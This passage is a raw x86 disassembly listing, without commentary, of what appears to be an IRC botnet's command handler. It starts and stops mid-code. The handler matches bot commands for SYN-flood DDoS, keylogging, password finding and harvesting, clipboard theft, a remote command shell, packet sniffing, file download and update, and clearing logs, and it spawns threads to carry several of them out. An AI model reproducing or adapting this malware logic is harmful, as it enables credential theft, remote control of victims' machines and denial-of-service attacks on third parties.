edi push offset aIrc_id ; "irc.id" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ACF push edi push offset aIrc_i ; "irc.i" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414ACF push edi push offset aCom_rebewt ; "com.rebewt" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410277 call sub_40AC20 test eax, eax mov eax, offset dword_43278C jnz short loc_410249 mov eax, offset dword_432758 loc_410249: ; CODE XREF: sub_40EE72+13D0j push eax lea eax, [ebp+var_2DC] push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 1Ch jmp loc_40F822 ; --------------------------------------------------------------------------- loc_410277: ; CODE XREF: sub_40EE72+13C2j push edi push offset aThreads_list ; "threads.list" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149DE push edi push offset aThreads_l ; "threads.l" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149DE push edi push offset aIrc_aliases ; "irc.aliases" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149BE push edi push offset aIrc_al ; "irc.al" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4149BE push edi push offset aIrc_log ; "irc.log" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148CB push edi push offset aIrc_lg ; "irc.lg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148CB push edi push offset aUtil_clearlog ; "util.clearlog" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148B2 push edi push offset aUtil_clg ; "util.clg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4148B2 push edi push offset aCom_netinfo ; "com.netinfo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414880 push edi push offset aCom_ni ; "com.ni" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414880 push edi push offset aDdos_supersyn ; "ddos.supersyn" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410459 mov edi, [ebp+esi+var_90] push 7Fh lea eax, [ebp+var_76C] push edi push eax call sub_418C10 mov eax, [ebp+esi+var_8C] push 7Fh mov [ebp+arg_18], eax push eax lea eax, [ebp+var_6EC] push eax call sub_418C10 mov esi, [ebp+esi+var_88] push 7Fh lea eax, [ebp+var_66C] push esi push eax call sub_418C10 push 7Fh lea eax, [ebp+var_5EC] push [ebp+var_8C] push eax call sub_418C10 mov eax, [ebp+var_4] add esp, 30h mov [ebp+var_568], eax mov eax, [ebp+var_8] push esi mov [ebp+var_564], eax mov eax, [ebp+arg_4] push [ebp+arg_18] mov [ebp+var_770], eax lea eax, [ebp+var_2DC] push edi push offset unk_432698 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 14h push eax call sub_416D5C add esp, 20h mov [ebp+var_56C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_770] push ebx push eax push offset sub_401831 push ebx push ebx call near ptr 26A0C0Ah nop mov ecx, [ebp+var_56C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_410448 loc_410432: ; CODE XREF: sub_40EE72+15D4j cmp [ebp+var_560], ebx jnz loc_41460C push 32h call near ptr 2630F90h nop jmp short loc_410432 ; --------------------------------------------------------------------------- loc_410448: ; CODE XREF: sub_40EE72+15BEj nop call near ptr 2670ADCh push eax push offset unk_43264C jmp loc_413BFD ; --------------------------------------------------------------------------- loc_410459: ; CODE XREF: sub_40EE72+14E6j push edi push offset aCom_sysinfo ; "com.sysinfo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414852 push edi push offset aCom_si ; "com.si" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414852 push edi push offset aIrc_rem0ve ; "irc.rem0ve" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414818 push edi push offset aIrc_rm0 ; "irc.rm0" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414818 push edi push offset aCom_procs ; "com.procs" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41470F push edi push offset aCom_ps ; "com.ps" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41470F push edi push offset aCom_harvest ; "com.harvest" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4146F1 push edi push offset aCom_key ; "com.key" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4146F1 push edi push offset aCom_uptime ; "com.uptime" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41466C push edi push offset aCom_up ; "com.up" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41466C push edi push offset aCom_driveinfo ; "com.driveinfo" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41464F push edi push offset aCom_drv ; "com.drv" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41464F push edi push offset aCom_testdlls ; "com.testdlls" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414636 push edi push offset aCom_dll ; "com.dll" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414636 push edi push offset aCom_opencmd ; "com.opencmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4145CA push edi push offset aCom_ocmd ; "com.ocmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4145CA push edi push offset aCom_ocmd_off ; "com.ocmd.off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4105D2 push [ebp+esi+var_90] push 7 push offset aRemoteShell ; "Remote shell" push offset aCmd ; "[CMD]" jmp loc_40FED3 ; --------------------------------------------------------------------------- loc_4105D2: ; CODE XREF: sub_40EE72+1746j push edi push offset aIrc_who ; "irc.who" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41065E cmp [ebp+var_8], ebx jnz short loc_410602 push ebx push [ebp+var_4] push offset aLoginList ; "-[Login List]-" push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_410602: ; CODE XREF: sub_40EE72+1774j mov edi, [ebp+arg_18] xor esi, esi loc_410607: ; CODE XREF: sub_40EE72+17DBj cmp [edi], bl lea eax, [edi+1] jnz short loc_410613 mov eax, offset aEmpty ; "<Empty>" loc_410613: ; CODE XREF: sub_40EE72+179Aj push eax push esi lea eax, [ebp+var_2DC] push offset aD_S ; "%d. %s" push eax call sub_4172B0 push 1 lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 24h inc esi add edi, 80h cmp esi, 2 jl short loc_410607 push offset dword_432520 loc_410654: ; CODE XREF: sub_40EE72+5C58j call sub_40BF6D jmp loc_414F46 ; --------------------------------------------------------------------------- loc_41065E: ; CODE XREF: sub_40EE72+176Fj push edi push offset aCom_getclip ; "com.getclip" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414581 push edi push offset aCom_gc ; "com.gc" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414581 push edi push offset aUtil_flusharp ; "util.flusharp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414556 push edi push offset aUtil_farp ; "util.farp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414556 push edi push offset aUtil_flushdns ; "util.flushdns" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414532 push edi push offset aUtil_fdns ; "util.fdns" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414532 push edi push offset aRoot_currentip ; "root.currentip" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4144F5 push edi push offset aRoot_cip ; "root.cip" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4144F5 push edi push offset aDaemon_rlogi_0 ; "daemon.rlogin.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4143A4 push edi push offset aDaemon_rl_on ; "daemon.rl.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4143A4 push edi push offset aDaemon_httpd_o ; "daemon.httpd.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41422E push edi push offset aDaemon_web_on ; "daemon.web.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41422E push edi push offset aDaemon_tftp_on ; "daemon.tftp.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4140ED push edi push offset aDaemon_tf_on ; "daemon.tf.on" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4140ED push edi push offset aCom_findpass ; "com.findpass" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414043 push edi push offset aCom_fp ; "com.fp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_414043 push edi push offset aAsc ; "asc" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D44 push edi push offset aSa ; "sa" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D44 mov edi, [ebp+esi+var_90] cmp edi, ebx jz loc_40F239 push [ebp+arg_8] push offset aIrc_nick ; "irc.nick" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D28 push [ebp+arg_8] push offset aIrc_n ; "irc.n" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D28 push [ebp+arg_8] push offset aIrc_join ; "irc.join" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D05 push [ebp+arg_8] push offset aIrc_j ; "irc.j" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413D05 push [ebp+arg_8] push offset aIrc_part ; "irc.part" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CE9 push [ebp+arg_8] push offset aIrc_pt ; "irc.pt" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CE9 push [ebp+arg_8] push offset aIrc_raw ; "irc.raw" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CAF push [ebp+arg_8] push offset aIrc_ra ; "irc.ra" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413CAF push [ebp+arg_8] push offset aThreads_kill ; "threads.kill" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413BDD push [ebp+arg_8] push offset aThreads_k ; "threads.k" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413BDD push [ebp+arg_8] push offset aClone_quit ; "clone.quit" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413B32 push [ebp+arg_8] push offset aClone_q ; "clone.q" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413B32 push [ebp+arg_8] push offset aClone_rndnick ; "clone.rndnick" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AE4 push [ebp+arg_8] push offset aClone_rn ; "clone.rn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AE4 push [ebp+arg_8] push offset aIrc_prefix ; "irc.prefix" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413ACF push [ebp+arg_8] push offset aIrc_pr ; "irc.pr" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413ACF push [ebp+arg_8] push offset aCom_open ; "com.open" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AA5 push [ebp+arg_8] push offset aCom_o ; "com.o" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413AA5 push [ebp+arg_8] push offset aIrc_setserve ; "irc.setserve" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413A8C push [ebp+arg_8] push offset aIrc_se ; "irc.se" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413A8C push [ebp+arg_8] push offset aIrc_dns ; "irc.dns" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139FA push [ebp+arg_8] push offset aIrc_dn ; "irc.dn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139FA push [ebp+arg_8] push offset aCom_killprocna ; "com.killprocname" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139CE push [ebp+arg_8] push offset aCom_kpn ; "com.kpn" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4139CE push [ebp+arg_8] push offset aCom_prockillid ; "com.prockillid" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413973 push [ebp+arg_8] push offset aCom_pkid ; "com.pkid" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413973 push [ebp+arg_8] push offset aCom_delete ; "com.delete" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413938 push [ebp+arg_8] push offset aCom_del ; "com.del" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413938 push [ebp+arg_8] push offset aDcc_get ; "dcc.get" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41384E push [ebp+arg_8] push offset aDcc_gt ; "dcc.gt" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41384E push [ebp+arg_8] push offset aCom_filelist ; "com.filelist" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413830 push [ebp+arg_8] push offset aCom_fl ; "com.fl" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413830 push [ebp+arg_8] push offset aIrc_visit ; "irc.visit" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41374F push [ebp+arg_8] push offset aIrc_v ; "irc.v" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41374F push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413714 push [ebp+arg_8] push offset aMirc_cmd ; "mirc.cmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413714 push [ebp+arg_8] push offset aCom_cmd ; "com.cmd" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4136C9 push [ebp+arg_8] push offset aCom_cm ; "com.cm" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4136C9 push [ebp+arg_8] push offset aCom_readfile ; "com.readfile" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413643 push [ebp+arg_8] push offset aCom_rf ; "com.rf" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413643 push [ebp+arg_8] push offset aSniff ; "sniff" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410CCC push edi push offset aOn ; "on" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410C97 push 19h call sub_416FA4 test eax, eax pop ecx jle short loc_410BC1 push offset unk_432254 jmp loc_410D38 ; --------------------------------------------------------------------------- loc_410BC1: ; CODE XREF: sub_40EE72+1D43j mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_4F0], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] cmp esi, ebx mov [ebp+var_464], eax jnz short loc_410C03 mov esi, offset aF_1 ; "#f" push offset byte_436EDC push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410C03 mov esi, [ebp+var_8C] loc_410C03: ; CODE XREF: sub_40EE72+1D73j ; sub_40EE72+1D89j push esi lea eax, [ebp+var_4EC] push 80h push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_2DC] push offset unk_432214 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 19h push eax call sub_416D5C add esp, 14h mov [ebp+var_46C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F0] push ebx push eax push offset sub_402688 push ebx push ebx nop call near ptr 26A0C0Ah mov ecx, [ebp+var_46C] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_410C86 loc_410C70: ; CODE XREF: sub_40EE72+1E12j cmp [ebp+var_460], ebx jnz loc_410E57 push 32h call near ptr 2630F90h nop jmp short loc_410C70 ; --------------------------------------------------------------------------- loc_410C86: ; CODE XREF: sub_40EE72+1DFCj nop call near ptr 2670ADCh push eax push offset unk_4321C8 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_410C97: ; CODE XREF: sub_40EE72+1D33j push edi push offset aOff ; "off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410E57 push ebx push 19h call sub_416F57 pop ecx cmp eax, ebx pop ecx jle short loc_410CC5 push eax push offset unk_43217C jmp loc_410E48 ; --------------------------------------------------------------------------- loc_410CC5: ; CODE XREF: sub_40EE72+1E46j push offset unk_432144 jmp short loc_410D38 ; --------------------------------------------------------------------------- loc_410CCC: ; CODE XREF: sub_40EE72+1D1Ej push [ebp+arg_8] push offset aCom_keylog ; "com.keylog" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410E81 push edi push offset aOn ; "on" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_410D4B push edi push offset aFile ; "file" call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_410D4B push edi push offset aOff ; "off" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_410E57 push ebx push 1Bh call sub_416F57 pop ecx cmp eax, ebx pop ecx jle short loc_410D33 push eax push offset unk_4320E4 jmp loc_410E48 ; --------------------------------------------------------------------------- loc_410D33: ; CODE XREF: sub_40EE72+1EB4j push offset unk_4320A8 loc_410D38: ; CODE XREF: sub_40EE72+1D4Aj ; sub_40EE72+1E58j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx jmp loc_410E57 ; --------------------------------------------------------------------------- loc_410D4B: ; CODE XREF: sub_40EE72+1E80j ; sub_40EE72+1E91j push 1Bh call sub_416FA4 test eax, eax pop ecx jle short loc_410D5E push offset unk_432078 jmp short loc_410D38 ; --------------------------------------------------------------------------- loc_410D5E: ; CODE XREF: sub_40EE72+1EE3j mov eax, [ebp+arg_4] push edi mov [ebp+var_4F0], eax mov eax, [ebp+var_4] push offset aFile ; "file" mov [ebp+var_468], eax call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410D8D mov [ebp+var_464], 1 jmp short loc_410D96 ; --------------------------------------------------------------------------- loc_410D8D: ; CODE XREF: sub_40EE72+1F0Dj mov eax, [ebp+var_8] mov [ebp+var_464], eax loc_410D96: ; CODE XREF: sub_40EE72+1F19j mov esi, [ebp+esi+var_8C] cmp esi, ebx jnz short loc_410DBD mov esi, offset aF_0 ; "#f" push offset byte_436EDC push esi call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410DBD mov esi, [ebp+var_8C] loc_410DBD: ; CODE XREF: sub_40EE72+1F2Dj ; sub_40EE72+1F43j push esi lea eax, [ebp+var_4E8] push 80h push eax call sub_41782A add esp, 0Ch lea eax, [ebp+var_2DC] push offset unk_432048 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2DC] push 1Bh push eax call sub_416D5C add esp, 14h mov [ebp+var_4EC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F0] push ebx push eax push offset sub_4023A7 push ebx push ebx call near ptr 26A0C0Ah nop mov ecx, [ebp+var_4EC] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_410E3C loc_410E2A: ; CODE XREF: sub_40EE72+1FC8j cmp [ebp+var_460], ebx jnz short loc_410E57 push 32h call near ptr 2630F90h nop jmp short loc_410E2A ; --------------------------------------------------------------------------- loc_410E3C: ; CODE XREF: sub_40EE72+1FB6j nop call near ptr 2670ADCh push eax push offset unk_431FFC loc_410E48: ; CODE XREF: sub_40EE72+1E20j ; sub_40EE72+1E4Ej ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 add esp, 0Ch loc_410E57: ; CODE XREF: sub_40EE72+1E04j ; sub_40EE72+1E34j ... cmp [ebp+var_8], ebx jnz loc_40F822 push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h jmp loc_40F822 ; --------------------------------------------------------------------------- loc_410E81: ; CODE XREF: sub_40EE72+1E6Bj push [ebp+arg_8] push offset aCom_net ; "com.net" call sub_4176D0 pop ecx test eax, eax pop ecx jnz loc_411114 cmp dword_43AE68, ebx jz short loc_410EB2 cmp dword_43AE90, ebx jz short loc_410EB2 push offset dword_431FAC jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410EB2: ; CODE XREF: sub_40EE72+202Cj ; sub_40EE72+2034j cmp [ebp+var_C], ebx jz loc_4110DC mov eax, [ebp+esi+var_8C] mov [ebp+arg_0], ebx cmp eax, ebx mov [ebp+arg_18], eax jz short loc_410EDA push eax push [ebp+var_C] call sub_417880 pop ecx mov [ebp+arg_0], eax pop ecx loc_410EDA: ; CODE XREF: sub_40EE72+2058j push edi push offset aStart ; "start" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F26 cmp [ebp+arg_18], ebx jz short loc_410EFA push [ebp+arg_0] push 3 jmp loc_410F84 ; --------------------------------------------------------------------------- loc_410EFA: ; CODE XREF: sub_40EE72+207Cj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40D9B3 add esp, 0Ch test eax, eax jz short loc_410F1C push offset dword_431F70 jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410F1C: ; CODE XREF: sub_40EE72+209Ej push offset dword_431F40 jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410F26: ; CODE XREF: sub_40EE72+2077j push edi push offset aStop ; "stop" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F3E push [ebp+arg_0] push 4 jmp short loc_410F84 ; --------------------------------------------------------------------------- loc_410F3E: ; CODE XREF: sub_40EE72+20C3j push edi push offset aPause ; "pause" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F56 push [ebp+arg_0] push 5 jmp short loc_410F84 ; --------------------------------------------------------------------------- loc_410F56: ; CODE XREF: sub_40EE72+20DBj push edi push offset aContinue ; "continue" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F6E push [ebp+arg_0] push 6 jmp short loc_410F84 ; --------------------------------------------------------------------------- loc_410F6E: ; CODE XREF: sub_40EE72+20F3j push edi push offset aDelete ; "delete" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410F90 push [ebp+arg_0] push 1 loc_410F84: ; CODE XREF: sub_40EE72+2083j ; sub_40EE72+20CAj ... call sub_40D719 pop ecx pop ecx jmp loc_4110AB ; --------------------------------------------------------------------------- loc_410F90: ; CODE XREF: sub_40EE72+210Bj push edi push offset aShare ; "share" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_410FFB cmp [ebp+arg_18], ebx jz short loc_410FCE cmp [ebp+var_9C4], bl jz short loc_410FC1 push ebx push [ebp+arg_18] push 1 loc_410FB4: ; CODE XREF: sub_40EE72+215Aj call sub_40DAF0 add esp, 0Ch jmp loc_4110AB ; --------------------------------------------------------------------------- loc_410FC1: ; CODE XREF: sub_40EE72+213Aj push [ebp+esi+var_88] push [ebp+arg_18] push ebx jmp short loc_410FB4 ; --------------------------------------------------------------------------- loc_410FCE: ; CODE XREF: sub_40EE72+2132j push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40DCE6 add esp, 10h test eax, eax jz short loc_410FF1 push offset dword_431EE4 jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410FF1: ; CODE XREF: sub_40EE72+2173j push offset dword_431EB4 jmp loc_4110CE ; --------------------------------------------------------------------------- loc_410FFB: ; CODE XREF: sub_40EE72+212Dj push edi push offset aUser ; "user" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_41107E mov eax, [ebp+arg_18] cmp eax, ebx jz short loc_411057 cmp [ebp+var_9C4], bl jz short loc_41102D push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push ebx push eax push 1 jmp short loc_411047 ; --------------------------------------------------------------------------- loc_41102D: ; CODE XREF: sub_40EE72+21A7j push [ebp+var_4] mov esi, [ebp+esi+var_88] cmp esi, ebx push [ebp+var_8C] push [ebp+arg_4] jz short loc_411051 push esi push eax push ebx loc_411047: ; CODE XREF: sub_40EE72+21B9j ; sub_40EE72+21E3j call sub_40DE07 add esp, 18h jmp short loc_4110AB ; --------------------------------------------------------------------------- loc_411051: ; CODE XREF: sub_40EE72+21D0j push ebx push eax push 2 jmp short loc_411047 ; --------------------------------------------------------------------------- loc_411057: ; CODE XREF: sub_40EE72+219Fj push ebx push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_40E337 add esp, 10h test eax, eax jz short loc_411077 push offset dword_431E7C jmp short loc_4110CE ; --------------------------------------------------------------------------- loc_411077: ; CODE XREF: sub_40EE72+21FCj push offset dword_431E50 jmp short loc_4110CE ; --------------------------------------------------------------------------- loc_41107E: ; CODE XREF: sub_40EE72+2198j push edi push offset aSend ; "send" call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4110C9 cmp [ebp+arg_18], ebx jz short loc_4110C2 push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] push [ebp+arg_0] call sub_40E5EB add esp, 10h loc_4110AB: ; CODE XREF: sub_40EE72+2119j ; sub_40EE72+214Aj ... push eax push offset aS_1 ; "%s" loc_4110B1: ; CODE XREF: sub_40EE72+4852j ; sub_40EE72+4B79j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 loc_4110BD: ; CODE XREF: sub_40EE72+5703j add esp, 0Ch jmp short loc_4110DC ; --------------------------------------------------------------------------- loc_4110C2: ; CODE XREF: sub_40EE72+2220j push offset dword_431E20 jmp short loc_4110CE ; --------------------------------------------------------------------------- loc_4110C9: ; CODE XREF: sub_40EE72+221Bj push offset dword_431DF4 loc_4110CE: ; CODE XREF: sub_40EE72+203Bj ; sub_40EE72+20A5j ... lea eax, [ebp+var_2DC] push eax call sub_4172B0 pop ecx pop ecx loc_4110DC: ; CODE XREF: sub_40EE72+2043j ; sub_40EE72+224Ej ... cmp [ebp+var_8], ebx jnz short loc_4110FD push ebx lea eax, [ebp+var_2DC] push [ebp+var_4] push eax push [ebp+var_8C] push [ebp+arg_4] call sub_40D679 add esp, 14h loc_4110FD: ; CODE XREF: sub_40EE72+226Dj ; sub_40EE72+4847j ... mov esi, [ebp+arg_24] loc_411100: ; CODE XREF: sub_40EE72+9B3j ; sub_40EE72+4B35j ... lea eax, [ebp+var_2DC] push eax call sub_40BF6D pop ecx mov eax, esi jmp loc_40F23C ; --------------------------------------------------------------------------- loc_411114: ; CODE XREF: sub_40EE72+2020j push [ebp+arg_8] push offset aCom_capture ; "com.capture" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413400 push [ebp+arg_8] push offset aCom_cap ; "com.cap" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413400 push [ebp+arg_8] push offset aIrc_gethost ; "irc.gethost" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413312 push [ebp+arg_8] push offset aIrc_gh ; "irc.gh" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413312 mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_18], eax jz loc_40F239 push [ebp+arg_8] push offset aIrc_addalias ; "irc.addalias" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4132E0 push [ebp+arg_8] push offset aIrc_aa ; "irc.aa" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4132E0 push [ebp+arg_8] push offset aIrc_privmsg ; "irc.privmsg" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41328A push [ebp+arg_8] push offset aIrc_pm ; "irc.pm" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41328A push [ebp+arg_8] push offset aIrc_action ; "irc.action" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413224 push [ebp+arg_8] push offset aIrc_ac ; "irc.ac" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413224 push [ebp+arg_8] push offset aIrc_cycle ; "irc.cycle" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4131BB push [ebp+arg_8] push offset aIrc_cy ; "irc.cy" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_4131BB push [ebp+arg_8] push offset aIrc_mode ; "irc.mode" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413181 push [ebp+arg_8] push offset aIrc_m ; "irc.m" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413181 push [ebp+arg_8] push offset aClone_raw ; "clone.raw" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413113 push [ebp+arg_8] push offset aClone_ra ; "clone.ra" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413113 push [ebp+arg_8] push offset aClone_mode ; "clone.mode" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41308E push [ebp+arg_8] push offset aClone_m ; "clone.m" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_41308E push [ebp+arg_8] push offset aClone_nick ; "clone.nick" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413022 push [ebp+arg_8] push offset aClone_ni ; "clone.ni" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_413022 push [ebp+arg_8] push offset aClone_join ; "clone.join" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412FFC push [ebp+arg_8] push offset aClone_j ; "clone.j" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412FFC push [ebp+arg_8] push offset aClone_part ; "clone.part" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412F99 push [ebp+arg_8] push offset aClone_p ; "clone.p" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412F99 push [ebp+arg_8] push offset aIrc_repeat ; "irc.repeat" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412ED0 push [ebp+arg_8] push offset aIrc_rp ; "irc.rp" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412ED0 push [ebp+arg_8] push offset aIrc_delay ; "irc.delay" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412E33 push [ebp+arg_8] push offset aIrc_de ; "irc.de" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412E33 push [ebp+arg_8] push offset aDownload_updat ; "download.update" call sub_4176D0 pop ecx test eax, eax pop ecx jz loc_412CAF push [ebp+arg_8] push offset aDownload_up ; "download.up" call sub_4176D0 pop 